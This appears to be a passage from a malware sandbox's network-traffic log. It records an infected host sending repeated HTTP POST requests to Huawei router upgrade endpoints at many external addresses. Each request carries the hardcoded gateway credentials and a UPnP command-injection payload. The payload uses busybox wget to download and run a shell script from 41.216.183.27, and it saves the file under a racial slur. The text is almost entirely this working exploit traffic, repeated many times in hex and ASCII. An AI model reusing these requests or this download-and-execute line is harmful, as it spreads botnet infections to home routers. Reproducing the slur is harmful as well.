3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:16.461922884 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.805816889 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:20.493283033 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:25.868669033 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:36.619203091 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:58.888117075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	55510	94.120.162.113	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.307934046 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	40272	94.122.109.154	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308018923 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	57148	94.121.183.127	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308093071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 